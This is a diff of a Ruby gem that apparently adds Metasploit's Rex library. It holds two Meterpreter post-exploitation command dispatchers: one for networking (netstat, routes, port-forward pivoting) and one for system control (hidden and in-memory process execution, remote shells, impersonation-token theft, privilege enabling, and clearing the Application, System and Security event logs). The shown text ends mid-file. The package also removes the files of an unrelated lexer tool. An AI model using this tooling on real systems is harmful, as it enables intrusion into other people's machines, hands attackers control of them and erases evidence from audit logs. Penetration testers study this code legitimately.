  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. data/rex.gemspec +20 -0
  492. metadata +528 -98
  493. data/CHANGELOG.rdoc +0 -7
  494. data/DOCUMENTATION.en.rdoc +0 -215
  495. data/DOCUMENTATION.ja.rdoc +0 -205
  496. data/Manifest.txt +0 -37
  497. data/README.ja +0 -73
  498. data/README.rdoc +0 -53
  499. data/Rakefile +0 -28
  500. data/bin/rex +0 -18
  501. data/lib/rex/generator.rb +0 -523
  502. data/lib/rex/info.rb +0 -16
  503. data/lib/rex/rexcmd.rb +0 -136
  504. data/sample/a.cmd +0 -1
  505. data/sample/b.cmd +0 -1
  506. data/sample/c.cmd +0 -4
  507. data/sample/calc3.racc +0 -47
  508. data/sample/calc3.rex +0 -15
  509. data/sample/calc3.rex.rb +0 -94
  510. data/sample/calc3.tab.rb +0 -188
  511. data/sample/error1.rex +0 -15
  512. data/sample/error2.rex +0 -15
  513. data/sample/sample.html +0 -32
  514. data/sample/sample.rex +0 -15
  515. data/sample/sample.rex.rb +0 -100
  516. data/sample/sample.xhtml +0 -32
  517. data/sample/sample1.c +0 -9
  518. data/sample/sample1.rex +0 -43
  519. data/sample/sample2.bas +0 -4
  520. data/sample/sample2.rex +0 -33
  521. data/sample/simple.html +0 -7
  522. data/sample/simple.xhtml +0 -10
  523. data/sample/xhtmlparser.racc +0 -66
  524. data/sample/xhtmlparser.rex +0 -72
  525. data/test/assets/test.rex +0 -12
  526. data/test/rex-20060125.rb +0 -152
  527. data/test/rex-20060511.rb +0 -143
  528. data/test/test_generator.rb +0 -184
@@ -0,0 +1,448 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+ require 'rex/service_manager'
4
+
5
+ module Rex
6
+ module Post
7
+ module Meterpreter
8
+ module Ui
9
+
10
+ ###
11
+ #
12
+ # The networking portion of the standard API extension.
13
+ #
14
+ ###
15
+ class Console::CommandDispatcher::Stdapi::Net
16
+
17
+ Klass = Console::CommandDispatcher::Stdapi::Net
18
+
19
+ include Console::CommandDispatcher
20
+
21
+ #
22
+ # This module is used to extend the meterpreter session
23
+ # so that local port forwards can be tracked and cleaned
24
+ # up when the meterpreter session goes away
25
+ #
26
+ module PortForwardTracker
27
+ def cleanup
28
+ super
29
+
30
+ if pfservice
31
+ pfservice.deref
32
+ end
33
+ end
34
+
35
+ attr_accessor :pfservice
36
+ end
37
+
38
+ #
39
+ # Options for the route command.
40
+ #
41
+ @@route_opts = Rex::Parser::Arguments.new(
42
+ "-h" => [ false, "Help banner." ])
43
+
44
+ #
45
+ # Options for the portfwd command.
46
+ #
47
+ @@portfwd_opts = Rex::Parser::Arguments.new(
48
+ "-h" => [ false, "Help banner." ],
49
+ "-l" => [ true, "The local port to listen on." ],
50
+ "-r" => [ true, "The remote host to connect to." ],
51
+ "-p" => [ true, "The remote port to connect to." ],
52
+ "-L" => [ true, "The local host to listen on (optional)." ])
53
+
54
+ #
55
+ # List of supported commands.
56
+ #
57
+ def commands
58
+ all = {
59
+ "ipconfig" => "Display interfaces",
60
+ "ifconfig" => "Display interfaces",
61
+ "route" => "View and modify the routing table",
62
+ "portfwd" => "Forward a local port to a remote service",
63
+ "arp" => "Display the host ARP cache",
64
+ "netstat" => "Display the network connections",
65
+ "getproxy" => "Display the current proxy configuration",
66
+ }
67
+ reqs = {
68
+ "ipconfig" => [ "stdapi_net_config_get_interfaces" ],
69
+ "ifconfig" => [ "stdapi_net_config_get_interfaces" ],
70
+ "route" => [
71
+ # Also uses these, but we don't want to be unable to list them
72
+ # just because we can't alter them.
73
+ #"stdapi_net_config_add_route",
74
+ #"stdapi_net_config_remove_route",
75
+ "stdapi_net_config_get_routes"
76
+ ],
77
+ # Only creates tcp channels, which is something whose availability
78
+ # we can't check directly at the moment.
79
+ "portfwd" => [ ],
80
+ "arp" => [ "stdapi_net_config_get_arp_table" ],
81
+ "netstat" => [ "stdapi_net_config_get_netstat" ],
82
+ "getproxy" => [ "stdapi_net_config_get_proxy" ],
83
+ }
84
+
85
+ all.delete_if do |cmd, desc|
86
+ del = false
87
+ reqs[cmd].each do |req|
88
+ next if client.commands.include? req
89
+ del = true
90
+ break
91
+ end
92
+
93
+ del
94
+ end
95
+
96
+ all
97
+ end
98
+
99
+ #
100
+ # Name for this dispatcher.
101
+ #
102
+ def name
103
+ "Stdapi: Networking"
104
+ end
105
+ #
106
+ # Displays network connections of the remote machine.
107
+ #
108
+ def cmd_netstat(*args)
109
+ connection_table = client.net.config.netstat
110
+ tbl = Rex::Ui::Text::Table.new(
111
+ 'Header' => "Connection list",
112
+ 'Indent' => 4,
113
+ 'Columns' =>
114
+ [
115
+ "Proto",
116
+ "Local address",
117
+ "Remote address",
118
+ "State",
119
+ "User",
120
+ "Inode",
121
+ "PID/Program name"
122
+ ])
123
+
124
+ connection_table.each { |connection|
125
+ tbl << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str,
126
+ connection.state, connection.uid, connection.inode, connection.pid_name]
127
+ }
128
+
129
+ if tbl.rows.length > 0
130
+ print("\n" + tbl.to_s + "\n")
131
+ else
132
+ print_line("Connection list is empty.")
133
+ end
134
+ end
135
+
136
+ #
137
+ # Displays ARP cache of the remote machine.
138
+ #
139
+ def cmd_arp(*args)
140
+ arp_table = client.net.config.arp_table
141
+ tbl = Rex::Ui::Text::Table.new(
142
+ 'Header' => "ARP cache",
143
+ 'Indent' => 4,
144
+ 'Columns' =>
145
+ [
146
+ "IP address",
147
+ "MAC address",
148
+ "Interface"
149
+ ])
150
+
151
+ arp_table.each { |arp|
152
+ tbl << [ arp.ip_addr, arp.mac_addr, arp.interface ]
153
+ }
154
+
155
+ if tbl.rows.length > 0
156
+ print("\n" + tbl.to_s + "\n")
157
+ else
158
+ print_line("ARP cache is empty.")
159
+ end
160
+ end
161
+
162
+
163
+ #
164
+ # Displays interfaces on the remote machine.
165
+ #
166
+ def cmd_ipconfig(*args)
167
+ ifaces = client.net.config.interfaces
168
+
169
+ if (ifaces.length == 0)
170
+ print_line("No interfaces were found.")
171
+ else
172
+ ifaces.sort{|a,b| a.index <=> b.index}.each do |iface|
173
+ print("\n" + iface.pretty + "\n")
174
+ end
175
+ end
176
+ end
177
+
178
+ alias :cmd_ifconfig :cmd_ipconfig
179
+
180
+ #
181
+ # Displays or modifies the routing table on the remote machine.
182
+ #
183
+ def cmd_route(*args)
184
+ # Default to list
185
+ if (args.length == 0)
186
+ args.unshift("list")
187
+ end
188
+
189
+ # Check to see if they specified -h
190
+ @@route_opts.parse(args) { |opt, idx, val|
191
+ case opt
192
+ when "-h"
193
+ print(
194
+ "Usage: route [-h] command [args]\n\n" +
195
+ "Display or modify the routing table on the remote machine.\n\n" +
196
+ "Supported commands:\n\n" +
197
+ " add [subnet] [netmask] [gateway]\n" +
198
+ " delete [subnet] [netmask] [gateway]\n" +
199
+ " list\n\n")
200
+ return true
201
+ end
202
+ }
203
+
204
+ cmd = args.shift
205
+
206
+ # Process the commands
207
+ case cmd
208
+ when "list"
209
+ routes = client.net.config.routes
210
+
211
+ # IPv4
212
+ tbl = Rex::Ui::Text::Table.new(
213
+ 'Header' => "IPv4 network routes",
214
+ 'Indent' => 4,
215
+ 'Columns' =>
216
+ [
217
+ "Subnet",
218
+ "Netmask",
219
+ "Gateway",
220
+ "Metric",
221
+ "Interface"
222
+ ])
223
+
224
+ routes.select {|route|
225
+ Rex::Socket.is_ipv4?(route.netmask)
226
+ }.each { |route|
227
+ tbl << [ route.subnet, route.netmask, route.gateway, route.metric, route.interface ]
228
+ }
229
+
230
+ if tbl.rows.length > 0
231
+ print("\n" + tbl.to_s + "\n")
232
+ else
233
+ print_line("No IPv4 routes were found.")
234
+ end
235
+
236
+ # IPv6
237
+ tbl = Rex::Ui::Text::Table.new(
238
+ 'Header' => "IPv6 network routes",
239
+ 'Indent' => 4,
240
+ 'Columns' =>
241
+ [
242
+ "Subnet",
243
+ "Netmask",
244
+ "Gateway",
245
+ "Metric",
246
+ "Interface"
247
+ ])
248
+
249
+ routes.select {|route|
250
+ Rex::Socket.is_ipv6?(route.netmask)
251
+ }.each { |route|
252
+ tbl << [ route.subnet, route.netmask, route.gateway, route.metric, route.interface ]
253
+ }
254
+
255
+ if tbl.rows.length > 0
256
+ print("\n" + tbl.to_s + "\n")
257
+ else
258
+ print_line("No IPv6 routes were found.")
259
+ end
260
+
261
+ when "add"
262
+ # Satisfy check to see that formatting is correct
263
+ unless Rex::Socket::RangeWalker.new(args[0]).length == 1
264
+ print_error "Invalid IP Address"
265
+ return false
266
+ end
267
+
268
+ unless Rex::Socket::RangeWalker.new(args[1]).length == 1
269
+ print_error "Invalid Subnet mask"
270
+ return false
271
+ end
272
+
273
+ print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}")
274
+
275
+ client.net.config.add_route(*args)
276
+ when "delete"
277
+ # Satisfy check to see that formatting is correct
278
+ unless Rex::Socket::RangeWalker.new(args[0]).length == 1
279
+ print_error "Invalid IP Address"
280
+ return false
281
+ end
282
+
283
+ unless Rex::Socket::RangeWalker.new(args[1]).length == 1
284
+ print_error "Invalid Subnet mask"
285
+ return false
286
+ end
287
+
288
+ print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}")
289
+
290
+ client.net.config.remove_route(*args)
291
+ else
292
+ print_error("Unsupported command: #{cmd}")
293
+ end
294
+ end
295
+
296
+ #
297
+ # Starts and stops local port forwards to remote hosts on the target
298
+ # network. This provides an elementary pivoting interface.
299
+ #
300
+ def cmd_portfwd(*args)
301
+ args.unshift("list") if args.empty?
302
+
303
+ # For clarity's sake.
304
+ lport = nil
305
+ lhost = nil
306
+ rport = nil
307
+ rhost = nil
308
+
309
+ # Parse the options
310
+ @@portfwd_opts.parse(args) { |opt, idx, val|
311
+ case opt
312
+ when "-h"
313
+ cmd_portfwd_help
314
+ return true
315
+ when "-l"
316
+ lport = val.to_i
317
+ when "-L"
318
+ lhost = val
319
+ when "-p"
320
+ rport = val.to_i
321
+ when "-r"
322
+ rhost = val
323
+ end
324
+ }
325
+
326
+ # If we haven't extended the session, then do it now since we'll
327
+ # need to track port forwards
328
+ if client.kind_of?(PortForwardTracker) == false
329
+ client.extend(PortForwardTracker)
330
+ client.pfservice = Rex::ServiceManager.start(Rex::Services::LocalRelay)
331
+ end
332
+
333
+ # Build a local port forward in association with the channel
334
+ service = client.pfservice
335
+
336
+ # Process the command
337
+ case args.shift
338
+ when "list"
339
+
340
+ cnt = 0
341
+
342
+ # Enumerate each TCP relay
343
+ service.each_tcp_relay { |lhost, lport, rhost, rport, opts|
344
+ next if (opts['MeterpreterRelay'] == nil)
345
+
346
+ print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}")
347
+
348
+ cnt += 1
349
+ }
350
+
351
+ print_line
352
+ print_line("#{cnt} total local port forwards.")
353
+
354
+
355
+ when "add"
356
+
357
+ # Validate parameters
358
+ if (!lport or !rhost or !rport)
359
+ print_error("You must supply a local port, remote host, and remote port.")
360
+ return
361
+ end
362
+
363
+ # Start the local TCP relay in association with this stream
364
+ service.start_tcp_relay(lport,
365
+ 'LocalHost' => lhost,
366
+ 'PeerHost' => rhost,
367
+ 'PeerPort' => rport,
368
+ 'MeterpreterRelay' => true,
369
+ 'OnLocalConnection' => Proc.new { |relay, lfd|
370
+ create_tcp_channel(relay)
371
+ })
372
+
373
+ print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}")
374
+
375
+ # Delete local port forwards
376
+ when "delete"
377
+
378
+ # No local port, no love.
379
+ if (!lport)
380
+ print_error("You must supply a local port.")
381
+ return
382
+ end
383
+
384
+ # Stop the service
385
+ if (service.stop_tcp_relay(lport, lhost))
386
+ print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
387
+ else
388
+ print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
389
+ end
390
+
391
+ when "flush"
392
+
393
+ counter = 0
394
+ service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
395
+ next if (opts['MeterpreterRelay'] == nil)
396
+
397
+ if (service.stop_tcp_relay(lport, lhost))
398
+ print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
399
+ else
400
+ print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
401
+ next
402
+ end
403
+
404
+ counter += 1
405
+ end
406
+ print_status("Successfully flushed #{counter} rules")
407
+
408
+ else
409
+ cmd_portfwd_help
410
+ end
411
+ end
412
+
413
+ def cmd_portfwd_help
414
+ print_line "Usage: portfwd [-h] [add | delete | list | flush] [args]"
415
+ print_line
416
+ print @@portfwd_opts.usage
417
+ end
418
+
419
+ def cmd_getproxy
420
+ p = client.net.config.get_proxy_config()
421
+ print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" )
422
+ print_line( "Auto config URL : #{p[:autoconfigurl]}" )
423
+ print_line( "Proxy URL : #{p[:proxy]}" )
424
+ print_line( "Proxy Bypass : #{p[:proxybypass]}" )
425
+ end
426
+
427
+ protected
428
+
429
+ #
430
+ # Creates a TCP channel using the supplied relay context.
431
+ #
432
+ def create_tcp_channel(relay)
433
+ client.net.socket.create(
434
+ Rex::Socket::Parameters.new(
435
+ 'PeerHost' => relay.opts['PeerHost'],
436
+ 'PeerPort' => relay.opts['PeerPort'],
437
+ 'Proto' => 'tcp'
438
+ )
439
+ )
440
+ end
441
+
442
+ end
443
+
444
+ end
445
+ end
446
+ end
447
+ end
448
+
@@ -0,0 +1,906 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # The system level portion of the standard API extension.
12
+ #
13
+ ###
14
+ class Console::CommandDispatcher::Stdapi::Sys
15
+
16
+ Klass = Console::CommandDispatcher::Stdapi::Sys
17
+
18
+ include Console::CommandDispatcher
19
+
20
+ #
21
+ # Options used by the 'execute' command.
22
+ #
23
+ @@execute_opts = Rex::Parser::Arguments.new(
24
+ "-a" => [ true, "The arguments to pass to the command." ],
25
+ "-c" => [ false, "Channelized I/O (required for interaction)." ],
26
+ "-f" => [ true, "The executable command to run." ],
27
+ "-h" => [ false, "Help menu." ],
28
+ "-H" => [ false, "Create the process hidden from view." ],
29
+ "-i" => [ false, "Interact with the process after creating it." ],
30
+ "-m" => [ false, "Execute from memory." ],
31
+ "-d" => [ true, "The 'dummy' executable to launch when using -m." ],
32
+ "-t" => [ false, "Execute process with currently impersonated thread token"],
33
+ "-k" => [ false, "Execute process on the meterpreters current desktop" ],
34
+ "-s" => [ true, "Execute process in a given session as the session user" ])
35
+
36
+ #
37
+ # Options used by the 'reboot' command.
38
+ #
39
+ @@reboot_opts = Rex::Parser::Arguments.new(
40
+ "-h" => [ false, "Help menu." ],
41
+ "-f" => [ true, "Force a reboot, valid values [1|2]" ])
42
+
43
+ #
44
+ # Options used by the 'shutdown' command.
45
+ #
46
+ @@shutdown_opts = Rex::Parser::Arguments.new(
47
+ "-h" => [ false, "Help menu." ],
48
+ "-f" => [ true, "Force a shutdown, valid values [1|2]" ])
49
+
50
+ #
51
+ # Options used by the 'reg' command.
52
+ #
53
+ @@reg_opts = Rex::Parser::Arguments.new(
54
+ "-d" => [ true, "The data to store in the registry value." ],
55
+ "-h" => [ false, "Help menu." ],
56
+ "-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ],
57
+ "-t" => [ true, "The registry value type (E.g. REG_SZ)." ],
58
+ "-v" => [ true, "The registry value name (E.g. Stuff)." ],
59
+ "-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
60
+ "-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
61
+
62
+ #
63
+ # Options for the 'ps' command.
64
+ #
65
+ @@ps_opts = Rex::Parser::Arguments.new(
66
+ "-h" => [ false, "Help menu." ],
67
+ "-S" => [ true, "Filters processes on the process name using the supplied RegEx"],
68
+ "-A" => [ true, "Filters processes on architecture (x86 or x86_64)" ],
69
+ "-s" => [ false, "Show only SYSTEM processes" ],
70
+ "-U" => [ true, "Filters processes on the user using the supplied RegEx" ])
71
+
72
+ #
73
+ # Options for the 'suspend' command.
74
+ #
75
+ @@suspend_opts = Rex::Parser::Arguments.new(
76
+ "-h" => [ false, "Help menu." ],
77
+ "-c" => [ false, "Continues suspending or resuming even if an error is encountered"],
78
+ "-r" => [ false, "Resumes the target processes instead of suspending" ])
79
+
80
+ #
81
+ # List of supported commands.
82
+ #
83
+ def commands
84
+ all = {
85
+ "clearev" => "Clear the event log",
86
+ "drop_token" => "Relinquishes any active impersonation token.",
87
+ "execute" => "Execute a command",
88
+ "getpid" => "Get the current process identifier",
89
+ "getprivs" => "Attempt to enable all privileges available to the current process",
90
+ "getuid" => "Get the user that the server is running as",
91
+ "getenv" => "Get one or more environment variable values",
92
+ "kill" => "Terminate a process",
93
+ "ps" => "List running processes",
94
+ "reboot" => "Reboots the remote computer",
95
+ "reg" => "Modify and interact with the remote registry",
96
+ "rev2self" => "Calls RevertToSelf() on the remote machine",
97
+ "shell" => "Drop into a system command shell",
98
+ "shutdown" => "Shuts down the remote computer",
99
+ "steal_token" => "Attempts to steal an impersonation token from the target process",
100
+ "suspend" => "Suspends or resumes a list of processes",
101
+ "sysinfo" => "Gets information about the remote system, such as OS",
102
+ }
103
+ reqs = {
104
+ "clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
105
+ "drop_token" => [ "stdapi_sys_config_drop_token" ],
106
+ "execute" => [ "stdapi_sys_process_execute" ],
107
+ "getpid" => [ "stdapi_sys_process_getpid" ],
108
+ "getprivs" => [ "stdapi_sys_config_getprivs" ],
109
+ "getuid" => [ "stdapi_sys_config_getuid" ],
110
+ "getenv" => [ "stdapi_sys_config_getenv" ],
111
+ "kill" => [ "stdapi_sys_process_kill" ],
112
+ "ps" => [ "stdapi_sys_process_get_processes" ],
113
+ "reboot" => [ "stdapi_sys_power_exitwindows" ],
114
+ "reg" => [
115
+ "stdapi_registry_load_key",
116
+ "stdapi_registry_unload_key",
117
+ "stdapi_registry_open_key",
118
+ "stdapi_registry_open_remote_key",
119
+ "stdapi_registry_create_key",
120
+ "stdapi_registry_delete_key",
121
+ "stdapi_registry_close_key",
122
+ "stdapi_registry_enum_key",
123
+ "stdapi_registry_set_value",
124
+ "stdapi_registry_query_value",
125
+ "stdapi_registry_delete_value",
126
+ "stdapi_registry_query_class",
127
+ "stdapi_registry_enum_value",
128
+ ],
129
+ "rev2self" => [ "stdapi_sys_config_rev2self" ],
130
+ "shell" => [ "stdapi_sys_process_execute" ],
131
+ "shutdown" => [ "stdapi_sys_power_exitwindows" ],
132
+ "steal_token" => [ "stdapi_sys_config_steal_token" ],
133
+ "suspend" => [ "stdapi_sys_process_attach"],
134
+ "sysinfo" => [ "stdapi_sys_config_sysinfo" ],
135
+ }
136
+
137
+ all.delete_if do |cmd, desc|
138
+ del = false
139
+ reqs[cmd].each do |req|
140
+ next if client.commands.include? req
141
+ del = true
142
+ break
143
+ end
144
+
145
+ del
146
+ end
147
+
148
+ all
149
+ end
150
+
151
+ #
152
+ # Name for this dispatcher.
153
+ #
154
+ def name
155
+ "Stdapi: System"
156
+ end
157
+
158
+ #
159
+ # Executes a command with some options.
160
+ #
161
+ def cmd_execute(*args)
162
+ if (args.length == 0)
163
+ args.unshift("-h")
164
+ end
165
+
166
+ session = nil
167
+ interact = false
168
+ desktop = false
169
+ channelized = nil
170
+ hidden = nil
171
+ from_mem = false
172
+ dummy_exec = "cmd"
173
+ cmd_args = nil
174
+ cmd_exec = nil
175
+ use_thread_token = false
176
+
177
+ @@execute_opts.parse(args) { |opt, idx, val|
178
+ case opt
179
+ when "-a"
180
+ cmd_args = val
181
+ when "-c"
182
+ channelized = true
183
+ when "-f"
184
+ cmd_exec = val
185
+ when "-H"
186
+ hidden = true
187
+ when "-m"
188
+ from_mem = true
189
+ when "-d"
190
+ dummy_exec = val
191
+ when "-k"
192
+ desktop = true
193
+ when "-h"
194
+ print(
195
+ "Usage: execute -f file [options]\n\n" +
196
+ "Executes a command on the remote machine.\n" +
197
+ @@execute_opts.usage)
198
+ return true
199
+ when "-i"
200
+ channelized = true
201
+ interact = true
202
+ when "-t"
203
+ use_thread_token = true
204
+ when "-s"
205
+ session = val.to_i
206
+ end
207
+ }
208
+
209
+ # Did we at least get an executable?
210
+ if (cmd_exec == nil)
211
+ print_error("You must specify an executable file with -f")
212
+ return true
213
+ end
214
+
215
+ # Execute it
216
+ p = client.sys.process.execute(cmd_exec, cmd_args,
217
+ 'Channelized' => channelized,
218
+ 'Desktop' => desktop,
219
+ 'Session' => session,
220
+ 'Hidden' => hidden,
221
+ 'InMemory' => (from_mem) ? dummy_exec : nil,
222
+ 'UseThreadToken' => use_thread_token)
223
+
224
+ print_line("Process #{p.pid} created.")
225
+ print_line("Channel #{p.channel.cid} created.") if (p.channel)
226
+
227
+ if (interact and p.channel)
228
+ shell.interact_with_channel(p.channel)
229
+ end
230
+ end
231
+
232
+
233
+ #
234
+ # Drop into a system shell as specified by %COMSPEC% or
235
+ # as appropriate for the host.
236
+ def cmd_shell(*args)
237
+ case client.platform
238
+ when /win/
239
+ path = client.fs.file.expand_path("%COMSPEC%")
240
+ path = (path and not path.empty?) ? path : "cmd.exe"
241
+
242
+ # attempt the shell with thread impersonation
243
+ begin
244
+ cmd_execute("-f", path, "-c", "-H", "-i", "-t")
245
+ rescue
246
+ # if this fails, then we attempt without impersonation
247
+ print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
248
+ cmd_execute("-f", path, "-c", "-H", "-i")
249
+ end
250
+ when /linux/
251
+ # Don't expand_path() this because it's literal anyway
252
+ path = "/bin/sh"
253
+ cmd_execute("-f", path, "-c", "-i")
254
+ else
255
+ # Then this is a multi-platform meterpreter (php or java), which
256
+ # must special-case COMSPEC to return the system-specific shell.
257
+ path = client.fs.file.expand_path("%COMSPEC%")
258
+ # If that failed for whatever reason, guess it's unix
259
+ path = (path and not path.empty?) ? path : "/bin/sh"
260
+ cmd_execute("-f", path, "-c", "-i")
261
+ end
262
+ end
263
+
264
+
265
+ #
266
+ # Gets the process identifier that meterpreter is running in on the remote
267
+ # machine.
268
+ #
269
+ def cmd_getpid(*args)
270
+ print_line("Current pid: #{client.sys.process.getpid}")
271
+
272
+ return true
273
+ end
274
+
275
+ #
276
+ # Displays the user that the server is running as.
277
+ #
278
+ def cmd_getuid(*args)
279
+ print_line("Server username: #{client.sys.config.getuid}")
280
+ end
281
+
282
+ #
283
+ # Get the value of one or more environment variables from the target.
284
+ #
285
+ def cmd_getenv(*args)
286
+ vars = client.sys.config.getenvs(*args)
287
+
288
+ if vars.length == 0
289
+ print_error("None of the specified environment variables were found/set.")
290
+ else
291
+ table = Rex::Ui::Text::Table.new(
292
+ 'Header' => 'Environment Variables',
293
+ 'Indent' => 0,
294
+ 'SortIndex' => 1,
295
+ 'Columns' => [
296
+ 'Variable', 'Value'
297
+ ]
298
+ )
299
+
300
+ vars.each do |var, val|
301
+ table << [ var, val ]
302
+ end
303
+
304
+ print_line
305
+ print_line(table.to_s)
306
+ end
307
+ end
308
+
309
+ #
310
+ # Clears the event log
311
+ #
312
+ def cmd_clearev(*args)
313
+
314
+ logs = ['Application', 'System', 'Security']
315
+ logs << args
316
+ logs.flatten!
317
+
318
+ logs.each do |name|
319
+ log = client.sys.eventlog.open(name)
320
+ print_status("Wiping #{log.length} records from #{name}...")
321
+ log.clear
322
+ end
323
+ end
324
+
325
+ #
326
+ # Kills one or more processes.
327
+ #
328
+ def cmd_kill(*args)
329
+ # give'em help if they want it, or seem confused
330
+ if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
331
+ cmd_kill_help
332
+ return true
333
+ end
334
+
335
+ self_destruct = args.include?("-s")
336
+
337
+ if self_destruct
338
+ valid_pids = [client.sys.process.getpid.to_i]
339
+ else
340
+ valid_pids = validate_pids(args)
341
+
342
+ # validate all the proposed pids first so we can bail if one is bogus
343
+ args.uniq!
344
+ diff = args - valid_pids.map {|e| e.to_s}
345
+ if not diff.empty? # then we had an invalid pid
346
+ print_error("The following pids are not valid: #{diff.join(", ").to_s}. Quitting")
347
+ return false
348
+ end
349
+ end
350
+
351
+ # kill kill kill
352
+ print_line("Killing: #{valid_pids.join(", ").to_s}")
353
+ client.sys.process.kill(*(valid_pids.map { |x| x }))
354
+ return true
355
+ end
356
+
357
+ #
358
+ # help for the kill command
359
+ #
360
+ def cmd_kill_help
361
+ print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
362
+ print_line("Terminate one or more processes.")
363
+ print_line(" -s : Kills the pid associated with the current session.")
364
+ end
365
+
366
+ #
367
+ # validates an array of pids against the running processes on target host
368
+ # behavior can be controlled to allow/deny proces 0 and the session's process
369
+ # the pids:
370
+ # - are converted to integers
371
+ # - have had pid 0 removed unless allow_pid_0
372
+ # - have had current session pid removed unless allow_session_pid (to protect the session)
373
+ # - have redundant entries removed
374
+ #
375
+ # @param pids [Array<String>] The pids to validate
376
+ # @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid
377
+ # @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid
378
+ # @return [Array] Returns an array of valid pids
379
+
380
+ def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)
381
+
382
+ return [] if (pids.class != Array or pids.empty?)
383
+ valid_pids = []
384
+ # to minimize network traffic, we only get host processes once
385
+ host_processes = client.sys.process.get_processes
386
+ if host_processes.length < 1
387
+ print_error "No running processes found on the target host."
388
+ return []
389
+ end
390
+
391
+ # get the current session pid so we don't suspend it later
392
+ mypid = client.sys.process.getpid.to_i
393
+
394
+ # remove nils & redundant pids, conver to int
395
+ clean_pids = pids.compact.uniq.map{|x| x.to_i}
396
+ # now we look up the pids & remove bad stuff if nec
397
+ clean_pids.delete_if do |p|
398
+ ( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )
399
+ end
400
+ clean_pids.each do |pid|
401
+ # find the process with this pid
402
+ theprocess = host_processes.find {|x| x["pid"] == pid}
403
+ if ( theprocess.nil? )
404
+ next
405
+ else
406
+ valid_pids << pid
407
+ end
408
+ end
409
+ return valid_pids
410
+ end
411
+
412
+ #
413
+ # Lists running processes.
414
+ #
415
+ def cmd_ps(*args)
416
+ processes = client.sys.process.get_processes
417
+ @@ps_opts.parse(args) do |opt, idx, val|
418
+ case opt
419
+ when "-h"
420
+ cmd_ps_help
421
+ return true
422
+ when "-S"
423
+ print_line "Filtering on process name..."
424
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
425
+ processes.each do |proc|
426
+ if val.nil? or val.empty?
427
+ print_line "You must supply a search term!"
428
+ return false
429
+ end
430
+ searched_procs << proc if proc["name"].match(/#{val}/)
431
+ end
432
+ processes = searched_procs
433
+ when "-A"
434
+ print_line "Filtering on arch..."
435
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
436
+ processes.each do |proc|
437
+ next if proc['arch'].nil? or proc['arch'].empty?
438
+ if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
439
+ print_line "You must select either x86 or x86_64"
440
+ return false
441
+ end
442
+ searched_procs << proc if proc["arch"] == val
443
+ end
444
+ processes = searched_procs
445
+ when "-s"
446
+ print_line "Filtering on SYSTEM processes..."
447
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
448
+ processes.each do |proc|
449
+ searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
450
+ end
451
+ processes = searched_procs
452
+ when "-U"
453
+ print_line "Filtering on user name..."
454
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
455
+ processes.each do |proc|
456
+ if val.nil? or val.empty?
457
+ print_line "You must supply a search term!"
458
+ return false
459
+ end
460
+ searched_procs << proc if proc["user"].match(/#{val}/)
461
+ end
462
+ processes = searched_procs
463
+ end
464
+ end
465
+ if (processes.length == 0)
466
